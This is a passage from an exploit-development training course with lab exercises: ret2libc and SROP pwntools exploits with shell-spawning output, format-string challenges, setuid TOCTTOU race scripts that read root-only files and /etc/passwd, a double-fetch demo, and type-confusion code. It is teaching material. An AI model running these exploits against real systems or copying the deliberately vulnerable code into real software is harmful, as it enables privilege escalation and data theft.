log.info(f"/bin/sh: {hex(binsh)}")

# Stage 2: Find gadgets automatically
log.info("Finding gadgets...")

# Find pop rdi gadget
try:
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    log.success(f"pop rdi; ret: {hex(pop_rdi)}")
except:
    log.error("Could not find 'pop rdi; ret' gadget")
    exit(1)

# Find ret gadget for alignment
try:
    ret = rop.find_gadget(['ret'])[0]
    log.success(f"ret: {hex(ret)}")
except:
    log.error("Could not find 'ret' gadget")
    exit(1)

# Build payload
offset = 72  # 64 buffer + 8 saved RBP
payload = b'A' * offset

# Stack alignment: Add ret gadget first
payload += p64(ret)

# Call system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(libc.symbols['system'])

log.info(f"Payload size: {len(payload)} bytes")

p.sendlineafter(b"Enter data: ", payload)

log.success("Exploit sent! Checking for shell...")

sleep(0.5)

try:
    p.sendline(b'echo SUCCESS')
    response = p.recvline(timeout=2)
    if b'SUCCESS' in response:
        log.success("Shell spawned!")
        p.interactive()
    else:
        log.info(f"Got: {response}")
        p.interactive()
except EOFError:
    log.error("Process died")
    log.info(f"Exit code: {p.poll()}")
except Exception as e:
    log.error(f"Error: {e}")
    p.close()

Test Results:

...
[+] Starting local process './leak_target': pid 2893
[*] Leaked puts: 0x7d2ad6887be0
[+] libc base: 0x7d2ad6800000
[*] system: 0x7d2ad6858750
[*] /bin/sh: 0x7d2ad69cb42f
[*] Finding gadgets...
[+] pop rdi; ret: 0x40117e
[+] ret: 0x40101a
[*] Payload size: 104 bytes
[+] Exploit sent! Checking for shell...
[+] Shell spawned!
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

ret2libc with Leak Success:

  • Binary analysis: Partial RELRO, no PIE, no stack canary (vulnerable)
  • Libc detection: Found system libc with Full RELRO and CET protections
  • Leak successful: puts@GOT: 0x7d2ad6887be0 → base 0x7d2ad6800000
  • Gadgets found: pop rdi; ret @ 0x40117e, ret @ 0x40101a (from inline assembly)
  • Targets calculated: system @ 0x7d2ad6858750, /bin/sh @ 0x7d2ad69cb42f
  • Shell achieved: Interactive shell with full user privileges
  • Payload efficiency: 104 bytes total (72 offset + 32 ROP chain)

Key Technical Insights:

  • CET compatibility: Despite SHSTK/IBT being enabled, ret2libc works because we use legitimate gadgets
  • Automatic discovery: pwntools dynamically finds gadgets and calculates addresses
  • Two-stage approach: Leak → Calculate → Exploit pattern works reliably
  • Stack alignment: Added ret gadget for 16-byte alignment before pop rdi
  • Modern mitigations: NX enabled prevents shellcode, but ROP bypasses this restriction

ret2dlresolve Requirements:

  • Partial RELRO (lazy binding enabled)
  • Ability to write to known address (for fake structures)
  • Sufficient gadgets (pop rdi, pop rsi, pop rdx minimum)
  • Compatible libc/dynamic linker version

Reality Check:

In practice, ret2libc with leak is used in 90%+ of real exploits because:

  • More reliable across libc versions
  • Simpler to implement and debug
  • Works with modern mitigations
  • Most vulnerabilities provide some leak (format string, heap, etc.)

ret2dlresolve is mainly useful for:

  • CTF challenges that specifically block leaks
  • Research and educational purposes
  • Very constrained scenarios with no leak primitive

one_gadget - Quick Shell Gadgets

What is one_gadget?:

  • Finds "magic gadgets" in libc that spawn shells with single jump
  • Much faster than building full ROP chains
  • Constraints must be satisfied (register/stack state)

Usage:

one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Example output (actual gadgets vary by libc version):
# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
#   address rsp+0x68 is writable
#   rsp & 0xf == 0
#   rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
#   rbx == NULL || (u16)[rbx] == NULL
#
# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
#   address rsp+0x68 is writable
#   rsp & 0xf == 0
#   rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
#   rbx == NULL || (u16)[rbx] == NULL
#
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
#   address rbp-0x50 is writable
#   rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
#   [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
#
# These constraints can be VERY hard to satisfy from typical overflow contexts!

Practical Exercise

Exercise: The Challenge (fmt_challenge.c)**

The goal is to modify the secret_code variable to 0x1337 to unlock the shell. This program runs in a loop, allowing you to test multiple format strings in one session.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

volatile int secret_code = 0;

void give_shell() {
    printf("Access Granted! Spawning shell...\n");
    system("/bin/sh");
}

void vuln_func() {
    char buffer[256];

    printf("Target variable is at %p. Current value: %d\n", &secret_code, secret_code);

    while(secret_code != 0x1337) {
        printf("\nEnter input (type 'quit' to exit): ");
        memset(buffer, 0, sizeof(buffer));
        int len = read(0, buffer, sizeof(buffer)-1);

        if(strncmp(buffer, "quit", 4) == 0) break;

        // Vulnerability: Format string
        printf("You returned: ");
        printf(buffer);

        if (secret_code == 0x1337) {
            give_shell();
            break;
        }
    }
}

int main() {
    // Disable buffering
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    vuln_func();
    return 0;
}

Compile:

make disabled SOURCE=fmt_challenge.c BINARY=fmt_challenge
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security fmt_challenge.c -o fmt_challenge

Testing & Offset Finding

# Run the program
./fmt_challenge

# Test and find the offset

Exploitation (Python)

write the python exploit using pwn tools

Exercise: Bypassing libc with execve Syscall (SROP)

Why This Matters: On modern systems with CET (glibc 2.34+), system() via ROP crashes due to IBT/Shadow Stack checks on libc functions. This exercise shows how to bypass libc entirely using a direct execve syscall via SROP.

Vulnerable Program:

// srop_target.c - Compile: gcc -fno-stack-protector -no-pie -o srop_target srop_target.c
#include <stdio.h>
#include <unistd.h>

char binsh[] = "/bin/sh";  // String in .data for convenience

// Include gadgets to make the exercise standalone and reliable
__attribute__((noinline)) void gadgets() {
    __asm__ volatile(
        ".global pop_rax_ret\n"
        "pop_rax_ret:\n"
        "pop %rax\n"
        "ret\n"
        ".global syscall_ret\n"
        "syscall_ret:\n"
        "syscall\n"
        "ret\n"
    );
}

void vuln() {
    char buf[64];
    printf("Buffer at: %p\n", buf);
    printf("Enter data: ");
    read(0, buf, 512);  // Obvious overflow - increased for SROP frame
}

int main() {
    // Disable buffering for reliable I/O
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

Finding Required Gadgets:

# We need minimal gadgets for SROP:
# 1. pop rax; ret  - to set RAX = 15 (sigreturn syscall number)
# 2. syscall; ret  - to execute sigreturn, then execve

ropper --file srop_target --search "pop rax"
ropper --file srop_target --search "syscall"

# Since we included them in C, they will be found!

Complete SROP Exploit (No libc Required):

#!/usr/bin/env python3
"""
SROP Exploit
"""
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

binary = './srop_target'
elf = ELF(binary)

p = process(binary, aslr=False)

p.recvuntil(b"Buffer at: ")
buf_addr = int(p.recvline().strip(), 16)
log.info(f"Buffer at: {hex(buf_addr)}")

binsh_addr = next(elf.search(b'/bin/sh'))
pop_rax_ret = 0x40117e
syscall_ret = 0x401180  # CORRECT address

log.info(f"/bin/sh at: {hex(binsh_addr)}")
log.info(f"pop rax; ret: {hex(pop_rax_ret)}")
log.info(f"syscall; ret: {hex(syscall_ret)}")

# Build SROP frame
frame = SigreturnFrame()
frame.rax = 59  # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = buf_addr - 0x100
frame.rbp = frame.rsp
frame.eflags = 0x202
frame.csgsfs = 0x33

offset = 72
payload = b'A' * offset
payload += p64(pop_rax_ret)
payload += p64(15)  # SYS_rt_sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)

log.info(f"Payload size: {len(payload)} bytes")

p.sendlineafter(b"Enter data: ", payload)

sleep(0.5)

try:
    p.sendline(b'echo SUCCESS')
    result = p.recvline(timeout=2)
    if b'SUCCESS' in result:
        log.success("SROP WORKED! We have a shell!")
        p.interactive()
    else:
        log.info(f"Got: {result}")
        p.interactive()
except EOFError:
    log.error("Process died")
    log.info(f"Exit code: {p.poll()}")
except Exception as e:
    log.error(f"Error: {e}")
    p.close()

How It Works:

1. Overflow buffer, overwrite return address with pop_rax gadget
2. pop rax; ret → RAX = 15 (rt_sigreturn syscall number)
3. syscall; ret → Kernel executes sigreturn
4. Kernel reads our fake SigreturnFrame from stack
5. Kernel restores ALL registers from our frame:
   - RAX = 59 (execve syscall number)
   - RDI = address of "/bin/sh"
   - RSI = 0, RDX = 0
   - RIP = syscall gadget address
6. Execution resumes at RIP (syscall gadget) - bypassing libc!

Why This Bypasses CET (Partially):

CET (Control-flow Enforcement) has two components:
1. IBT (Indirect Branch Tracking) - Requires ENDBR64 landing pads
2. SHSTK (Shadow Stack) - Tracks return addresses

SROP behavior with CET:
+ sigreturn itself bypasses shadow stack (kernel operation)
+ execve syscall is direct kernel call, not libc
- Initial ROP chain to reach sigreturn still needs valid gadgets

Note: On systems without hardware shadow stack support (most current CPUs),
the binary may have SHSTK/IBT properties but kernel won't enforce them.
Check with: grep shstk /proc/cpuinfo

Troubleshooting:

ProblemCauseSolution
Crash before sigreturnWrong gadget addressesUse objdump -d to verify gadget locations
Payload too largeSignal frame is 248 bytesEnsure read() size ≥ 344 bytes (72+24+248)
SIGSEGV after sigreturnInvalid RSP in frameSet RSP to valid stack address (use buf_addr)
execve returns EFAULTBad /bin/sh addressVerify string address with readelf -x .data
No gadgets foundBinary too smallAdd inline asm gadgets or use libc
Shell doesn't spawnWrong syscall numberAMD64 execve = 59, verify with SYS_execve
system() crashes (SIGSEGV)Stack misalignmentAdd ret gadget before call for 16-byte align
Process exits immediatelyShell has no stdinEnsure stdin is connected to process
CET blocks ROP chainHardware shadow stackUse ENDBR64 gadgets or disable CET for demo

Exercise: vuln_fmt

Task 1: Information Disclosure

  1. Compile vuln_fmt.c
  2. Find format string offset
  3. Leak stack values
  4. Identify libc addresses on stack
  5. Calculate libc base (if ASLR enabled)

Task 2: Arbitrary Read

  1. Read memory at arbitrary address
  2. Leak binary strings
  3. Find interesting addresses (GOT entries)
  4. Document memory layout

Task 3: GOT Overwrite

  1. Compile fmt_got.c
  2. Find exit() GOT entry
  3. Find win() function address
  4. Overwrite GOT with format string
  5. Redirect exit() to win()
  6. Get shell

Success Criteria:

  • Can read arbitrary memory
  • Can write arbitrary values
  • GOT overwrite successful
  • Shell obtained via format string

Exercise: format string over network

Exploit a format string over a network:

#!/usr/bin/env python3
"""Format String over Network - Real-World Practice"""
from pwn import *

# Connect to vulnerable service
target = remote('localhost', 1337)

# Leak stack values
target.sendline(b'echo %p.%p.%p.%p.%p.%p.%p.%p')
leak = target.recvline()
log.info(f"Leaked: {leak}")

# Parse and calculate addresses
# Stack leak can reveal:
# - Return addresses (code base)
# - Libc addresses (libc base)
# - Stack addresses (stack cookie, if present)

# Build GOT overwrite payload
# (This would be specific to the target binary)

Key Takeaways

  1. Format strings are powerful: Read/write arbitrary memory
  2. %n is dangerous: Enables memory writes
  3. GOT is common target: Redirect execution flow - bypasses CET!
  4. pwntools simplifies exploitation: Automates offset finding
  5. Easy to prevent: Just use printf("%s", input)
  6. one_gadget works well with GOT overwrites: RBP usually valid, constraints easier
  7. SROP bypasses CET entirely: Direct syscalls don't use libc

Discussion Questions

  1. Why is %n particularly dangerous compared to other specifiers?
  2. How does Partial RELRO vs Full RELRO affect GOT overwrites?
  3. What makes format strings easier to exploit than buffer overflows?
  4. How can static analysis detect format string vulnerabilities?

Day 6: Logic Bugs and Modern Exploit Primitives

Deliverables

  • Race PoC: a script that wins the race at least once and demonstrates the impact (e.g., reads forbidden data)
  • Type confusion PoC: input + steps that trigger the bug and show corrupted behavior or a privileged action
  • Notes: explain the broken invariant and why mitigations (NX/ASLR/CET) don't stop it

Why Logic Bugs Matter

Why Logic Bugs Win:

  • Mitigations don't apply: DEP, ASLR, CFG, CET protect memory—not logic
  • Often simpler: No shellcode, no ROP chains, no heap feng shui
  • Higher reliability: Deterministic vs probabilistic exploitation
  • Stealthier: Less anomalous behavior for detection

Race Condition Exploitation

TOCTTOU (Time-of-Check to Time-of-Use):

// Vulnerable pattern: Check and use are separate operations
// race_vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

void process_file(const char *filename) {
    struct stat st;

    // TIME OF CHECK
    if (lstat(filename, &st) != 0) {  // Use lstat to check symlink itself
        printf("File does not exist\n");
        return;
    }

    // Check if regular file (not symlink)
    if (S_ISLNK(st.st_mode)) {
        printf("Symlinks not allowed\n");
        return;
    }

    // Check ownership
    if (st.st_uid != getuid()) {
        printf("You don't own this file\n");
        return;
    }

    // WINDOW OF VULNERABILITY: Attacker can swap file here!
    sleep(1);  // Makes race easier to win for demonstration

    // TIME OF USE - opens with elevated privileges
    setuid(0);  // Elevate to root privileges

    int fd = open(filename, O_RDONLY);  // Opens whatever is there NOW
    if (fd < 0) {
        perror("open");
        return;
    }

    char buffer[1024];
    ssize_t n = read(fd, buffer, sizeof(buffer) - 1);
    if (n > 0) {
        buffer[n] = '\0';
        printf("Contents: %s\n", buffer);
    }
    close(fd);
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("Usage: %s <filename>\n", argv[0]);
        return 1;
    }
    process_file(argv[1]);
    return 0;
}

Exploitation:

# Compile vulnerable program
cd ~/exploit
gcc -fno-stack-protector -no-pie -o race_vuln race_vuln.c
sudo chown root:root race_vuln
sudo chmod u+s race_vuln  # SetUID for demonstration

# Setup: Create files for the race
echo "harmless content" > /tmp/myfile
sudo sh -c 'echo "SECRET: root password hash" > /tmp/secret'
sudo chown root:root /tmp/secret
sudo chmod 600 /tmp/secret  # Only root can read

# Create race attack script
cat > race_attack_full.sh << 'EOF'
#!/bin/bash
TARGET="/tmp/racefile"
PAYLOAD="/tmp/secret"  # Root-owned file we want to read

# Setup: Create our legitimate file
echo "harmless content" > /tmp/myfile
rm -f $TARGET

# Background: Continuously swap between our file and root-owned symlink
# Note: Symlinks must be created with sudo due to protected_symlinks in /tmp
(while true; do
    sudo rm -f $TARGET 2>/dev/null
    cp /tmp/myfile $TARGET 2>/dev/null
    sudo rm -f $TARGET 2>/dev/null
    sudo ln -s $PAYLOAD $TARGET 2>/dev/null
done) &
SWAP_PID=$!

# Give swap loop time to start
sleep 0.2

# Foreground: Repeatedly trigger vulnerable program
for i in {1..50}; do
    ./race_vuln $TARGET 2>/dev/null
done | grep "SECRET"

# Cleanup
sudo kill $SWAP_PID 2>/dev/null
wait $SWAP_PID 2>/dev/null
sudo rm -f $TARGET
EOF
chmod +x race_attack_full.sh

# Run the full attack
./race_attack_full.sh

# Expected output (when race is won):
# Contents: SECRET: root password hash

# Note: On systems with /proc/sys/fs/protected_symlinks=1 (default on modern Linux),
# symlinks in sticky directories like /tmp must be owned by root to be followed
# by setuid programs. This is a security feature to prevent symlink attacks.

Test Results:

(.venv) dev@os:~/exploit$ ./race_attack_full.sh
Contents: SECRET: root password hash
Contents: SECRET: root password hash
Contents: SECRET: root password hash

TOCTTOU Race Success:

  • Setup complete: SetUID binary created with root ownership and permissions
  • Attack automation: Background script continuously swaps files between safe and malicious
  • Race won multiple times: Successfully read root-owned secret file 3 times
  • Privilege escalation: Bypassed file ownership and permission checks
  • Protected symlinks: Required sudo for symlink creation due to modern Linux protections

Why This Works:

  1. Time window: sleep(1) in vulnerable code creates race opportunity
  2. File swap: Rapid switching between legitimate file and malicious symlink
  3. Check vs use: Security checks performed on safe file, but opens malicious one
  4. Privilege escalation: SetUID binary runs with root privileges during file open
  5. Modern mitigations: Protected symlinks require root ownership, but race still works

User-Space Double-Fetch Simulation:

// double_fetch_demo.c
// Compilable double-fetch vulnerability demonstration
// Compile: gcc -pthread -o double_fetch_demo double_fetch_demo.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#include <stdatomic.h>

#define MAX_SAFE_SIZE 64
#define BUFFER_SIZE 128

// Shared structure (simulating user-space memory that can be modified)
typedef struct {
    volatile size_t length;
    char data[256];
} SharedRequest;

SharedRequest shared_req;
atomic_int race_won = 0;
atomic_int attempts = 0;

// Vulnerable function with double-fetch
void vulnerable_process(SharedRequest *req) {
    // FIRST FETCH: Read and validate length
    size_t len = req->length;  // First read

    if (len > MAX_SAFE_SIZE) {
        // Security check passes because len is small
        return;
    }

    // Allocate based on checked length
    char *safe_buffer = malloc(len + 1);
    if (!safe_buffer) return;

    // VULNERABILITY: Small delay simulating real processing
    // In real code, this might be context switches, I/O, etc.
    for (volatile int i = 0; i < 100; i++);  // Tiny delay

    // SECOND FETCH: Use length again (may have changed!)
    size_t actual_len = req->length;  // Second read - DOUBLE FETCH!

    // Check if race was won BEFORE doing the overflow
    if (actual_len > MAX_SAFE_SIZE) {
        printf("[!] RACE WON! Allocated %zu bytes but would copy %zu bytes!\n",
               len, actual_len);
        printf("[!] Buffer overflow vulnerability demonstrated!\n");
        atomic_store(&race_won, 1);
        free(safe_buffer);
        return;
    }

    // Copy using potentially modified length
    if (actual_len <= 256) {
        memcpy(safe_buffer, req->data, actual_len);  // OVERFLOW if length increased!
    }

    free(safe_buffer);
}

// Attacker thread: continuously flips the length value
void *attacker_thread(void *arg) {
    while (!atomic_load(&race_won) && atomic_load(&attempts) < 100000) {
        // Flip between safe and dangerous values
        shared_req.length = 32;   // Safe value (passes check)
        for (volatile int i = 0; i < 10; i++);
        shared_req.length = 200;  // Dangerous value (causes overflow)
        for (volatile int i = 0; i < 10; i++);
    }
    return NULL;
}

// Victim thread: calls vulnerable function
void *victim_thread(void *arg) {
    while (!atomic_load(&race_won) && atomic_load(&attempts) < 100000) {
        shared_req.length = 32;  // Reset to safe
        vulnerable_process(&shared_req);
        atomic_fetch_add(&attempts, 1);
    }
    return NULL;
}

int main() {
    printf("=== Double-Fetch Race Condition Demo ===\n");
    printf("Attempting to win race between check and use...\n\n");

    // Initialize shared data
    memset(shared_req.data, 'A', sizeof(shared_req.data));
    shared_req.length = 32;

    pthread_t attacker, victim;

    // Start racing threads
    pthread_create(&attacker, NULL, attacker_thread, NULL);
    pthread_create(&victim, NULL, victim_thread, NULL);

    // Wait for completion
    pthread_join(victim, NULL);
    pthread_join(attacker, NULL);

    printf("\nTotal attempts: %d\n", atomic_load(&attempts));

    if (atomic_load(&race_won)) {
        printf("[+] SUCCESS: Double-fetch vulnerability exploited!\n");
        printf("[*] The vulnerability: length was checked as %d bytes, but would have\n", MAX_SAFE_SIZE);
        printf("    copied more, causing heap overflow.\n");
        printf("[*] In real exploits: this could overwrite heap metadata,\n");
        printf("    adjacent objects, or function pointers for code execution.\n");
    } else {
        printf("[-] Race not won in %d attempts (try again or increase attempts)\n",
               atomic_load(&attempts));
    }

    return 0;
}

Compile and Run:

# Compile with pthread support
gcc -pthread -o double_fetch_demo double_fetch_demo.c

# Run (may need multiple attempts)
./double_fetch_demo

Test Results:

=== Double-Fetch Race Condition Demo ===
Attempting to win race between check and use...

[!] RACE WON! Allocated 32 bytes but would copy 200 bytes!
[!] Buffer overflow vulnerability demonstrated!

Total attempts: 863
[+] SUCCESS: Double-fetch vulnerability exploited!
[*] The vulnerability: length was checked as 64 bytes, but would have
    copied more, causing heap overflow.
[*] In real exploits: this could overwrite heap metadata,
    adjacent objects, or function pointers for code execution.

Double-Fetch Race Success:

  • Race efficiency: Won race in 863 attempts (relatively quick for multi-threaded race)
  • Vulnerability demonstrated: Length checked as 32 bytes, would copy 200 bytes
  • Heap overflow potential: 168-byte overflow could corrupt heap metadata
  • Threading model: Attacker thread flips between safe/dangerous values, victim thread processes
  • Real-world impact: Could lead to arbitrary code execution via heap corruption

Why This Works:

  1. Two separate reads: Length read twice with different values due to race
  2. Timing window: Small delay between check and use allows race condition
  3. Memory allocation: Based on safe length (32 bytes) but copy uses dangerous length (200)
  4. Heap corruption: Overflow could overwrite adjacent heap chunks or metadata
  5. Multi-threading: Concurrent access to shared memory creates race condition

Complete TOCTTOU Practical Exercise:

Here's a self-contained TOCTTOU lab with attack automation:

// tocttou_lab.c - Complete TOCTTOU demonstration
// Simulates a privileged file processor with TOCTTOU vulnerability
// Compile: gcc -o tocttou_lab tocttou_lab.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/limits.h>

#define ALLOWED_DIR "/tmp/tocttou_safe/"
#define MAX_FILE_SIZE 1024

int secure_read_file(const char *filepath) {
    struct stat st;
    char resolved_path[PATH_MAX];

    printf("[*] Processing request for: %s\n", filepath);

    // === TIME OF CHECK ===

    // 1. Resolve to absolute path
    if (realpath(filepath, resolved_path) == NULL) {
        printf("[-] Cannot resolve path: %s\n", strerror(errno));
        return -1;
    }
    printf("[*] Resolved to: %s\n", resolved_path);

    // 2. Security check: must be in allowed directory
    if (strncmp(resolved_path, ALLOWED_DIR, strlen(ALLOWED_DIR)) != 0) {
        printf("[-] SECURITY: Path outside allowed directory!\n");
        return -1;
    }
    printf("[+] Path check passed (in allowed directory)\n");

    // 3. Check file properties
    if (lstat(filepath, &st) != 0) {
        printf("[-] Cannot stat file: %s\n", strerror(errno));
        return -1;
    }

    // 4. Must be regular file (not symlink)
    if (S_ISLNK(st.st_mode)) {
        printf("[-] SECURITY: Symlinks not allowed!\n");
        return -1;
    }
    printf("[+] File type check passed (regular file)\n");

    // 5. Size check
    if (st.st_size > MAX_FILE_SIZE) {
        printf("[-] File too large\n");
        return -1;
    }
    printf("[+] Size check passed (%ld bytes)\n", st.st_size);

    // === VULNERABILITY WINDOW ===
    printf("[*] Processing... (vulnerable window)\n");
    usleep(100000);  // 100ms delay

    // === TIME OF USE ===

    int fd = open(filepath, O_RDONLY);
    if (fd < 0) {
        printf("[-] Cannot open file: %s\n", strerror(errno));
        return -1;
    }

    char buffer[MAX_FILE_SIZE + 1];
    ssize_t bytes_read = read(fd, buffer, MAX_FILE_SIZE);
    close(fd);

    if (bytes_read > 0) {
        buffer[bytes_read] = '\0';
        printf("\n=== FILE CONTENTS ===\n%s\n=== END ===\n\n", buffer);
        return 0;
    }

    return -1;
}

void setup_lab() {
    mkdir(ALLOWED_DIR, 0755);

    char safe_file[256];
    snprintf(safe_file, sizeof(safe_file), "%s/safe_file.txt", ALLOWED_DIR);

    FILE *f = fopen(safe_file, "w");
    if (f) {
        fprintf(f, "This is safe, authorized content.\n");
        fclose(f);
        printf("[+] Created safe file: %s\n", safe_file);
    }
}

void print_usage(const char *prog) {
    printf("TOCTTOU Vulnerability Lab\n");
    printf("=========================\n\n");
    printf("Usage: %s <filepath>\n\n", prog);
    printf("This simulates a privileged file reader with TOCTTOU vulnerability.\n\n");
    printf("To exploit:\n");
    printf("1. Create a regular file: echo 'safe' > %s/attack\n", ALLOWED_DIR);
    printf("2. Run: %s %s/attack &\n", prog, ALLOWED_DIR);
    printf("3. Quickly swap: rm %s/attack && ln -s /etc/passwd %s/attack\n\n", ALLOWED_DIR, ALLOWED_DIR);
    printf("The race: swap the file between check and use!\n");
}

int main(int argc, char **argv) {
    if (argc < 2) {
        print_usage(argv[0]);
        setup_lab();
        return 1;
    }

    return secure_read_file(argv[1]);
}

TOCTTOU Exploitation Script:

#!/bin/bash
# tocttou_exploit.sh - Automated TOCTTOU race exploitation

TARGET_DIR="/tmp/tocttou_safe"
ATTACK_FILE="$TARGET_DIR/attack"
PAYLOAD="/etc/passwd"
BINARY="./tocttou_lab"

echo "=== TOCTTOU Race Condition Exploit ==="
echo "Target: $PAYLOAD"
echo ""

# Setup
mkdir -p $TARGET_DIR
echo "harmless content" > "$TARGET_DIR/legit.txt"

# Statistics
ATTEMPTS=0
SUCCESS=0

# Race function
race_attack() {
    while true; do
        # Create legitimate file (passes all checks)
        echo "safe" > "$ATTACK_FILE" 2>/dev/null

        # Launch victim in background
        $BINARY "$ATTACK_FILE" > /tmp/tocttou_output.txt 2>&1 &
        VICTIM_PID=$!

        # Small delay to let checks start
        sleep 0.05

        # Swap to symlink during the usleep(100000) window
        rm -f "$ATTACK_FILE" 2>/dev/null
        ln -s "$PAYLOAD" "$ATTACK_FILE" 2>/dev/null

        # Wait for victim
        wait $VICTIM_PID 2>/dev/null

        # Check if we won the race
        if grep -q "root:" /tmp/tocttou_output.txt 2>/dev/null; then
            echo ""
            echo "[!] RACE WON after $ATTEMPTS attempts!"
            echo ""
            cat /tmp/tocttou_output.txt
            SUCCESS=1
            break
        fi

        ATTEMPTS=$((ATTEMPTS + 1))

        # Progress indicator
        if [ $((ATTEMPTS % 10)) -eq 0 ]; then
            echo -n "."
        fi

        # Limit attempts
        if [ $ATTEMPTS -ge 100 ]; then
            echo ""
            echo "[-] Race not won after $ATTEMPTS attempts"
            echo "    The 100ms window should be easy to hit. Check timing."
            break
        fi
    done
}

# Cleanup
cleanup() {
    rm -f "$ATTACK_FILE" /tmp/tocttou_output.txt
}
trap cleanup EXIT

# Run exploit
echo "Racing... (this may take a moment)"
race_attack

if [ $SUCCESS -eq 1 ]; then
    echo "[+] Successfully exploited TOCTTOU vulnerability!"
    echo "[*] Key insight: Checks passed for 'safe' file, but we read '$PAYLOAD'"
fi

Running the TOCTTOU Lab:

# 1. Compile the vulnerable program
gcc -o tocttou_lab tocttou_lab.c

# 2. Setup (creates /tmp/tocttou_safe directory)
./tocttou_lab

# 3. Test legitimate access
./tocttou_lab /tmp/tocttou_safe/safe_file.txt
# Should show "This is safe, authorized content."

# 4. Run the exploit
chmod +x tocttou_exploit.sh
./tocttou_exploit.sh
# If race won, displays /etc/passwd contents despite security checks!

Test Results:

=== TOCTTOU Race Condition Exploit ===
Target: /etc/passwd

Racing... (this may take a moment)

[!] RACE WON after 0 attempts!

[*] Processing request for: /tmp/tocttou_safe/attack
[*] Resolved to: /tmp/tocttou_safe/attack
[+] Path check passed (in allowed directory)
[+] File type check passed (regular file)
[+] Size check passed (5 bytes)
[*] Processing... (vulnerable window)

=== FILE CONTENTS ===
root:x:0:0:root:/root:/bin/bash
...
dhcpcd:x:100:65534:DHCP Client Daemo
=== END ===

[+] Successfully exploited TOCTTOU vulnerability!
[*] Key insight: Checks passed for 'safe' file, but we read '/etc/passwd'

TOCTTOU Lab Success:

  • Instant race win: Won on first attempt (0 attempts) due to effective race timing
  • Security bypass: All checks passed for safe file, but read /etc/passwd instead
  • Privilege escalation: Successfully read system file despite security restrictions
  • Path validation: Initial checks passed for /tmp/tocttou_safe/attack (safe location)
  • File swap: Race condition swapped safe file with symlink to /etc/passwd

Why This Works:

  1. Path validation: Checks performed on safe file in allowed directory
  2. File swap: Race condition replaces safe file with malicious symlink
  3. Open operation: Opens whatever file exists at path during actual read
  4. Security bypass: All validation passes, but reads different file entirely
  5. System access: Gains read access to sensitive system files

Type Confusion Exploitation

What is Type Confusion?:

Type confusion occurs when code treats an object as a different type than it actually is. Unlike memory corruption, the memory itself is valid—the interpretation is wrong.

// Type confusion basic example
// type_confusion.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Base "class"
typedef struct {
    int type;
    void (*handler)(void*);
} BaseObject;

// Derived "classes"
typedef struct {
    int type;            // type = 1
    void (*handler)(void*);
    char name[32];
} UserObject;

typedef struct {
    int type;            // type = 2
    void (*handler)(void*);
    void (*privileged_action)(void);  // At same offset as name[0..7]!
    int admin_level;
} AdminObject;

void user_handler(void *self) {
    UserObject *obj = (UserObject*)self;
    printf("Hello, %s!\n", obj->name);
}

void admin_handler(void *self) {
    AdminObject *obj = (AdminObject*)self;
    printf("Admin action executing...\n");
    if (obj->privileged_action) {
        printf("Calling privileged function at %p\n", obj->privileged_action);
        obj->privileged_action();  // Call function pointer
    } else {
        printf("No privileged action set\n");
    }
}

void win(void) {
    printf("\n[!] PWNED! Got code execution via type confusion!\n");
    printf("[*] This demonstrates how type confusion can lead to arbitrary code execution\n");
    // system("/bin/sh");  // Uncomment for shell
}

BaseObject* create_object(int type) {
    if (type == 1) {
        UserObject *obj = calloc(1, sizeof(UserObject));
        obj->type = 1;
        obj->handler = user_handler;
        printf("Enter username: ");
        fgets(obj->name, sizeof(obj->name), stdin);
        obj->name[strcspn(obj->name, "\n")] = 0;
        return (BaseObject*)obj;
    } else {
        // Admin creation (normally restricted)
        AdminObject *obj = calloc(1, sizeof(AdminObject));
        obj->type = 2;
        obj->handler = admin_handler;
        obj->privileged_action = NULL;
        obj->admin_level = 0;
        return (BaseObject*)obj;
    }
}

void process_object(BaseObject *obj) {
    // VULNERABILITY: Type field can be manipulated!
    // If attacker creates UserObject but sets type=2,
    // the handler will treat name[] as privileged_action pointer

    if (obj->type == 2) {
        // Treats object as AdminObject
        admin_handler(obj);
    } else {
        user_handler(obj);
    }
}

int main() {
    printf("=== Type Confusion Demo ===\n");
    printf("Address of win(): %p\n\n", (void*)win);

    // Create user object
    BaseObject *obj = create_object(1);

    printf("\n[*] Object layout:\n");
    printf("    type: %d\n", obj->type);
    printf("    handler: %p\n", (void*)obj->handler);
    printf("    name/privileged_action: %p\n",
           (void*)*(unsigned long*)((char*)obj + sizeof(int) + sizeof(void*)));

    // EXPLOIT: Corrupt the type field
